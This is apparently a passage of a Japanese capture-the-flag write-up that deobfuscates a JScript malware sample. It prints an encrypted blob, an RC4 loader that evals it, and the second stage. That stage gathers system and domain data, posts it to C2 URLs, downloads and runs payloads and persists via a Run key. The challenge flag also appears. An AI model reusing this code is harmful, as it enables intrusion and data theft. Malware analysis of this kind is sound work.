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";return r}|

難読化の解除自体は簡単なので適当にコードを整形していくと、以下のようなスクリプトになりました。

// var lVky = WScript.Arguments; //vF8rdgMHKBrvCoCp0ulm
var DASz = "vF8rdgMHKBrvCoCp0ulm";
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);

eval(Iwlh);
function af5Q(r) { var a = r.charCodeAt(0);
if (a === 43 || a === 45) return 62;
if (a === 47 || a === 95) return 63;
if (a < 48) return -1;
if (a < 48 + 10) return a - 48 + 26 + 26;
if (a < 65 + 26) return a - 65;
if (a < 97 + 26) return a - 97 + 26 } 

function JrvS(r) { var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var t;
var l;
var h;
if (r.length % 4 > 0) return;
var u = r.length;
var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
var n = new Array(r.length * 3 / 4 - g);
var i = g > 0 ? r.length - 4 : r.length;
var z = 0;
function b(r) { n[z++] = r } for (t = 0, l = 0;
t < i;
t += 4, l += 3) { h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
b((h & 16711680) >> 16);
b((h & 65280) >> 8);
b(h & 255) } if (g === 2) { h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
b(h & 255) } else if (g === 1) { h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
b(h >> 8 & 255);
b(h & 255) } return n } function xR68(r, a) { var t = [];
var l = 0;
var h;
var u = "";
for (var g = 0;
g < 256;
g++) { t[g] = g } for (var g = 0;
g < 256;
g++) { l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
h = t[g];
t[g] = t[l];
t[l] = h } var g = 0;
var l = 0;
for (var n = 0;
n < a.length;
n++) { g = (g + 1) % 256;
l = (l + t[g]) % 256;
h = t[g];
t[g] = t[l];
t[l] = h;
u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256]) } return u } 

function lyEK() { var r = "省略";
return r }

このコードをいい感じに実行していくと、以下のような情報送出のための新たなペイロードを取得できます。

function S7EN(KL3M) {
    var gfjd = WScript.CreateObject("ADODB.Stream");
    gfjd.Type = 2;
    gfjd.CharSet = "437";
    gfjd.Open();
    gfjd.LoadFromFile(KL3M);
    var j3k6 = gfjd.ReadText;
    gfjd.Close();
    return l9BJ(j3k6);
}
var WQuh = new Array("http://challenge.htb/wp-includes/pomo/db.php", "http://challenge.htb/wp-admin/includes/class-wp-upload-plugins-list-table.php");
var zIRF = "KRMLT0G3PHdYjnEm";
var LwHA = new Array(
    "systeminfo > ",
    "net view >> ",
    "net view /domain >> ",
    "tasklist /v >> ",
    "gpresult /z >> ",
    "netstat -nao >> ",
    "ipconfig /all >> ",
    "arp -a >> ",
    "net share >> ",
    "net use >> ",
    "net user >> ",
    "net user administrator >> ",
    "net user /domain >> ",
    "net user administrator /domain >> ",
    "set  >> ",
    "dir %systemdrive%\\\\Users\\\\*.* >> ",
    "dir %userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*.* >> ",
    "dir %userprofile%\\\\Desktop\\\\*.* >> ",
    'tasklist /fi "modules eq wow64.dll"  >> ',
    'tasklist /fi "modules ne wow64.dll" >> ',
    'dir "%programfiles(x86)%" >> ',
    'dir "%programfiles%" >> ',
    "dir %appdata% >>"
);

var Z6HQ = new ActiveXObject("Scripting.FileSystemObject");
var EBKd = WScript.ScriptName;
var Vxiu = "";
var lDd9 = a0rV();

function DGbq(xxNA, j5zO) {
    char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var bzwO = "";
    var sW_c = "";
    for (var i = 0; i < xxNA.length; ++i) {
        var W0Ce = xxNA.charCodeAt(i);
        var o_Nk = W0Ce.toString(2);
        while (o_Nk.length < (j5zO ? 8 : 16)) o_Nk = "0" + o_Nk;
        sW_c += o_Nk;
        while (sW_c.length >= 6) {
            var AaP0 = sW_c.slice(0, 6);
            sW_c = sW_c.slice(6);
            bzwO += this.char_set.charAt(parseInt(AaP0, 2));
        }
    }
    if (sW_c) {
        while (sW_c.length < 6) sW_c += "0";
        bzwO += this.char_set.charAt(parseInt(sW_c, 2));
    }
    while (bzwO.length % (j5zO ? 4 : 8) != 0) bzwO += "=";
    return bzwO;
}

var lW6t = [];
lW6t["C7"] = "80";
lW6t["FC"] = "81";
lW6t["E9"] = "82";
lW6t["E2"] = "83";
lW6t["E4"] = "84";
lW6t["E0"] = "85";
lW6t["E5"] = "86";
lW6t["E7"] = "87";
lW6t["EA"] = "88";
lW6t["EB"] = "89";
lW6t["E8"] = "8A";
lW6t["EF"] = "8B";
lW6t["EE"] = "8C";
lW6t["EC"] = "8D";
lW6t["C4"] = "8E";
lW6t["C5"] = "8F";
lW6t["C9"] = "90";
lW6t["E6"] = "91";
lW6t["C6"] = "92";
lW6t["F4"] = "93";
lW6t["F6"] = "94";
lW6t["F2"] = "95";
lW6t["FB"] = "96";
lW6t["F9"] = "97";
lW6t["FF"] = "98";
lW6t["D6"] = "99";
lW6t["DC"] = "9A";
lW6t["A2"] = "9B";
lW6t["A3"] = "9C";
lW6t["A5"] = "9D";
lW6t["20A7"] = "9E";
lW6t["192"] = "9F";
lW6t["E1"] = "A0";
lW6t["ED"] = "A1";
lW6t["F3"] = "A2";
lW6t["FA"] = "A3";
lW6t["F1"] = "A4";
lW6t["D1"] = "A5";
lW6t["AA"] = "A6";
lW6t["BA"] = "A7";
lW6t["BF"] = "A8";
lW6t["2310"] = "A9";
lW6t["AC"] = "AA";
lW6t["BD"] = "AB";
lW6t["BC"] = "AC";
lW6t["A1"] = "AD";
lW6t["AB"] = "AE";
lW6t["BB"] = "AF";
lW6t["2591"] = "B0";
lW6t["2592"] = "B1";
lW6t["2593"] = "B2";
lW6t["2502"] = "B3";
lW6t["2524"] = "B4";
lW6t["2561"] = "B5";
lW6t["2562"] = "B6";
lW6t["2556"] = "B7";
lW6t["2555"] = "B8";
lW6t["2563"] = "B9";
lW6t["2551"] = "BA";
lW6t["2557"] = "BB";
lW6t["255D"] = "BC";
lW6t["255C"] = "BD";
lW6t["255B"] = "BE";
lW6t["2510"] = "BF";
lW6t["2514"] = "C0";
lW6t["2534"] = "C1";
lW6t["252C"] = "C2";
lW6t["251C"] = "C3";
lW6t["2500"] = "C4";
lW6t["253C"] = "C5";
lW6t["255E"] = "C6";
lW6t["255F"] = "C7";
lW6t["255A"] = "C8";
lW6t["2554"] = "C9";
lW6t["2569"] = "CA";
lW6t["2566"] = "CB";
lW6t["2560"] = "CC";
lW6t["2550"] = "CD";
lW6t["256C"] = "CE";
lW6t["2567"] = "CF";
lW6t["2568"] = "D0";
lW6t["2564"] = "D1";
lW6t["2565"] = "D2";
lW6t["2559"] = "D3";
lW6t["2558"] = "D4";
lW6t["2552"] = "D5";
lW6t["2553"] = "D6";
lW6t["256B"] = "D7";
lW6t["256A"] = "D8";
lW6t["2518"] = "D9";
lW6t["250C"] = "DA";
lW6t["2588"] = "DB";
lW6t["2584"] = "DC";
lW6t["258C"] = "DD";
lW6t["2590"] = "DE";
lW6t["2580"] = "DF";
lW6t["3B1"] = "E0";
lW6t["DF"] = "E1";
lW6t["393"] = "E2";
lW6t["3C0"] = "E3";
lW6t["3A3"] = "E4";
lW6t["3C3"] = "E5";
lW6t["B5"] = "E6";
lW6t["3C4"] = "E7";
lW6t["3A6"] = "E8";
lW6t["398"] = "E9";
lW6t["3A9"] = "EA";
lW6t["3B4"] = "EB";
lW6t["221E"] = "EC";
lW6t["3C6"] = "ED";
lW6t["3B5"] = "EE";
lW6t["2229"] = "EF";
lW6t["2261"] = "F0";
lW6t["B1"] = "F1";
lW6t["2265"] = "F2";
lW6t["2264"] = "F3";
lW6t["2320"] = "F4";
lW6t["2321"] = "F5";
lW6t["F7"] = "F6";
lW6t["2248"] = "F7";
lW6t["B0"] = "F8";
lW6t["2219"] = "F9";
lW6t["B7"] = "FA";
lW6t["221A"] = "FB";
lW6t["207F"] = "FC";
lW6t["B2"] = "FD";
lW6t["25A0"] = "FE";
lW6t["A0"] = "FF";

function a0rV() {
    var YrUH = Math.ceil(Math.random() * 10 + 25);
    var name = String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
    var JKfG = WScript.CreateObject("WScript.Network");
    Vxiu = JKfG.UserName;
    for (var count = 0; count < YrUH; count++) {
        switch (Math.ceil(Math.random() * 3)) {
            case 1:
                name = name + Math.ceil(Math.random() * 8);
                break;
            case 2:
                name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 97));
                break;
            default:
                name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
                break;
        }
    }
    return name;
}


var icVh = Jp6A(HAP5());

try {
    var CJPE = HAP5();
    W6cM();
    Syrl();
} catch (e) {
    WScript.Quit();
}


function Syrl() {
    var m2n0 = xhOC();
    while (true) {
        for (var i = 0; i < WQuh.length; i++) {
            var bx_4 = WQuh[i];
            var czlA = V9iU(bx_4, m2n0);
            switch (czlA) {
                case "good":
                    break;
                case "exit":
                    WScript.Quit();
                    break;
                case "work":
                    eRNv(bx_4);
                    break;
                case "fail":
                    I7UO();
                    break;
                default:
                    break;
            }
            a0rV();
        }
        WScript.Sleep((Math.random() * 300 + 3600) * 1e3);
    }
}

function HAP5() {
    var zkDC = this["ActiveXObject"];
    var jVNP = new zkDC("WScript.Shell");
    return jVNP;
}


function eRNv(caA2) {
    var jpVh = icVh + EBKd.substring(0, EBKd.length - 2) + "pif";
    var S47T = new ActiveXObject("MSXML2.XMLHTTP");
    S47T.OPEN("post", caA2, false);
    S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
    S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
    S47T.SETREQUESwTHEADER("content-length:", "4");
    S47T.SETREQUESTHEADER("Cookie:", "flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");
    S47T.SEND("work");
    if (Z6HQ.FILEEXISTS(jpVh)) {
        Z6HQ.DELETEFILE(jpVh);
    }
    if (S47T.STATUS == 200) {
        var gfjd = new ActiveXObject("ADODB.STREAM");
        gfjd.TYPE = 1;
        gfjd.OPEN();
        gfjd.WRITE(S47T.responseBody);
        gfjd.Position = 0;
        gfjd.Type = 2;
        gfjd.CharSet = "437";
        var j3k6 = gfjd.ReadText(gfjd.Size);
        var RAKT = t7Nl("2f532d6baec3d0ec7b1f98aed4774843", l9BJ(j3k6));
        Trql(RAKT, jpVh);
        gfjd.Close();
    }
    var lDd9 = a0rV();
    nr3z(jpVh, caA2);
    WScript.Sleep(3e4);
    Z6HQ.DELETEFILE(jpVh);
}
function I7UO() {
    Z6HQ.DELETEFILE(WScript.SCRIPTFULLNAME);
    CJPE.REGDELETE("HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\" + EBKd.substring(0, EBKd.length - 3));
    WScript.Quit();
}
function V9iU(pxug, tqDX) {
    try {
        var S47T = new ActiveXObject("MSXML2.XMLHTTP");
        S47T.OPEN("post", pxug, false);
        S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
        S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
        var SoNI = DGbq(tqDX, true);
        S47T.SETREQUESTHEADER("content-length:", SoNI.length);
        S47T.SEND(SoNI);
        return S47T.responseText;
    } catch (e) {
        return "";
    }
}
function he50() {
    var wXgO = "";
    var JKfG = WScript.CreateObject("WScript.Network");
    var SoNI = zIRF + JKfG.ComputerName + Vxiu;
    for (var i = 0; i < 16; i++) {
        var DXHy = 0;
        for (var j = i; j < SoNI.length - 1; j++) {
            DXHy = DXHy ^ SoNI.charCodeAt(j);
        }
        DXHy = DXHy % 10;
        wXgO = wXgO + DXHy.toString(10);
    }
    wXgO = wXgO + zIRF;
    return wXgO;
}

function W6cM() {
    v_FileName = icVh + EBKd.substring(0, EBKd.length - 2) + "js";
    Z6HQ.COPYFILE(WScript.ScriptFullName, icVh + EBKd);
    var zIqu = (Math.random() * 150 + 350) * 1e3;
    WScript.Sleep(zIqu);
    CJPE.REGWRITE(
        "HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\" + EBKd.substring(0, EBKd.length - 3),
        "wscript.exe //B " + String.fromCharCode(34) + icVh + EBKd + String.fromCharCode(34) + " NPEfpRZ4aqnh1YuGwQd0",
        "REG_SZ"
    );
}

function xhOC() {
    var U5rJ = icVh + "~dat.tmp";
    for (var i = 0; i < LwHA.length; i++) {
        CJPE.Run("cmd.exe /c " + LwHA[i] + '"' + U5rJ + "", 0, true);
    }
    var jxHd = S7EN(U5rJ);
    WScript.Sleep(1e3);
    Z6HQ.DELETEFILE(U5rJ);
    return t7Nl("2f532d6baec3d0ec7b1f98aed4774843", jxHd);
}



function nr3z(jpVh, caA2) {
    try {
        if (Z6HQ.FILEEXISTS(jpVh)) {
            CJPE.Run('"' + jpVh + '"');
        }
    } catch (e) {
        var S47T = new ActiveXObject("MSXML2.XMLHTTP");
        S47T.OPEN("post", caA2, false);
        var ND3M = "error";
        S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
        S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
        S47T.SETREQUESTHEADER("content-length:", ND3M.length);
        S47T.SEND(ND3M);
        return "";
    }
}
function poBP(QQDq) {
    var HiEg = "0123456789ABCDEF";
    var L9qj = HiEg.substr(QQDq & 15, 1);
    while (QQDq > 15) {
        QQDq >>>= 4;
        L9qj = HiEg.substr(QQDq & 15, 1) + L9qj;
    }
    return L9qj;
}
function JbVq(x4hL) {
    return parseInt(x4hL, 16);
}

function l9BJ(Wid9) {
    var wXgO = [];
    var pV8q = Wid9.length;
    for (var i = 0; i < pV8q; i++) {
        var yWql = Wid9.charCodeAt(i);
        if (yWql >= 128) {
            var h = lW6t["" + poBP(yWql)];
            yWql = JbVq(h);
        }
        wXgO.push(yWql);
    }
    return wXgO;
}

function Trql(EQ4R, K5X0) {
    var gfjd = WScript.CreateObject("ADODB.Stream");
    gfjd.type = 2;
    gfjd.Charset = "iso-8859-1";
    gfjd.Open();
    gfjd.WriteText(EQ4R);
    gfjd.Flush();
    gfjd.Position = 0;
    gfjd.SaveToFile(K5X0, 2);
    gfjd.close();
}
function Jp6A(KgOm) {
    icVh = "c:\\\\Users\\\\" + Vxiu + "\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\";
    if (!Z6HQ.FOLDEREXISTS(icVh)) icVh = "c:\\\\Users\\\\" + Vxiu + "\\\\AppData\\\\Local\\\\Temp\\\\";
    if (!Z6HQ.FOLDEREXISTS(icVh)) icVh = "c:\\\\Documents and Settings\\\\" + Vxiu + "\\\\Application Data\\\\Microsoft\\\\Windows\\\\";
    return icVh;
}

function t7Nl(npmb, AIsp) {
    var M4tj = [];
    var KRYr = 0;
    var FPIW;
    var wXgO = "";
    for (var i = 0; i < 256; i++) {
        M4tj[i] = i;
    }
    for (var i = 0; i < 256; i++) {
        KRYr = (KRYr + M4tj[i] + npmb.charCodeAt(i % npmb.length)) % 256;
        FPIW = M4tj[i];
        M4tj[i] = M4tj[KRYr];
        M4tj[KRYr] = FPIW;
    }
    var i = 0;
    var KRYr = 0;
    for (var y = 0; y < AIsp.length; y++) {
        i = (i + 1) % 256;
        KRYr = (KRYr + M4tj[i]) % 256;
        FPIW = M4tj[i];
        M4tj[i] = M4tj[KRYr];
